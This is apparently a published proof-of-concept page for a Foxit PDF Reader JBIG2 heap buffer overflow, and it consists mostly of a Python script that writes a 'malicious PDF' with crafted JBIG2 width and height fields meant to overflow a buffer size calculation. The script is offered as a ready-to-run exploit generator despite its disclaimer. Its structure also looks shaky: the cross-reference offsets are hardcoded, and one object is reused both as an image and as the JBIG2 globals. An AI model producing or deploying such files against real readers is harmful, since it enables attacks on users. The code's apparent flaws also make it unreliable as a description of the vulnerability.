CVE-2025-66499 Foxit PDF Reader JBIG2堆缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-66499 PoC - Foxit PDF Reader JBIG2 Heap Buffer Overflow Note: This is a conceptual PoC for educational and security research purposes only. Do not use for malicious activities. """ import struct import sys def create_malicious_pdf(): """ Generate a malicious PDF file with crafted JBIG2 data that triggers integer overflow in buffer size calculation. """ # PDF header pdf_content = b'%PDF-1.7\n' # Object 1: Catalog catalog_obj = b'1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n' pdf_content += catalog_obj # Object 2: Pages pages_obj = b'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n' pdf_content += pages_obj # Object 3: Page page_obj = b'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n' pdf_content += page_obj # Object 4: Content stream with JBIG2 image reference content = b'q\n' content += b'/Im0 Do\n' content += b'Q\n' content_obj = b'4 0 obj\n<< /Length ' + str(len(content)).encode() + b' >>\nstream\n' + content + b'\nendstream\nendobj\n' pdf_content += content_obj # Object 5: JBIG2 image stream with crafted data # JBIG2 segment with manipulated fields for integer overflow jbig2_data = create_jbig2_stream() jbig2_obj = b'5 0 obj\n<< /Type /XObject /Subtype /Image /Width 1 /Height 1 /Filter /JBIG2Decode /Length ' + str(len(jbig2_data)).encode() + b' >>\nstream\n' + jbig2_data + b'\nendstream\nendobj\n' pdf_content += jbig2_obj # Object 6: Image XObject reference img_obj = b'6 0 obj\n<< /Type /XObject /Subtype /Image /Width 8000 /Height 8000 /BitsPerComponent 1 /Filter /JBIG2Decode /DecodeParms << /JBIG2Globals 5 0 R >> >>\nendobj\n' pdf_content += img_obj # Cross-reference table xref_offset = len(pdf_content) xref = b'xref\n0 7\n' xref += b'0000000000 65535 f \n' xref += b'0000000009 00000 n \n' xref += b'0000000068 00000 n \n' xref += b'0000000125 00000 n \n' xref += b'0000000180 00000 n \n' xref += b'0000000250 00000 n \n' xref += b'0000000300 00000 n \n' pdf_content += xref # Trailer trailer = b'trailer\n<< /Size 7 /Root 1 0 R >>\nstartxref\n' + str(xref_offset).encode() + b'\n%%EOF\n' pdf_content += trailer return pdf_content def create_jbig2_stream(): """ Create JBIG2 data segment with values that trigger integer overflow in buffer size calculation. """ # JBIG2 segment header # Symbol segment with manipulated width/height fields segment_data = bytearray() # Segment number segment_data.extend(struct.pack('>I', 0)) # Segment header flags segment_data.append(0x00) # Segment type and flags # Page association segment_data.append(0x01) # Referred-to segments (count) segment_data.append(0x00) # Segment data: manipulated values for integer overflow # width = 0xFFFF * 0xFFFF could overflow in size calculation segment_data.extend(struct.pack('>H', 0xFFFF)) # width field segment_data.extend(struct.pack('>H', 0xFFFF)) # height field # Additional crafted fields for i in range(16): segment_data.append(0xFF) return bytes(segment_data) def main(): if len(sys.argv) < 2: print('Usage: python cve_2025_66499_poc.py <output.pdf>') print('This PoC demonstrates the vulnerability concept.') return output_file = sys.argv[1] pdf_data = create_malicious_pdf() with open(output_file, 'wb') as f: f.write(pdf_data) print(f'Malicious PDF created: {output_file}') print('WARNING: This file is for research purposes only.') if __name__ == '__main__': main()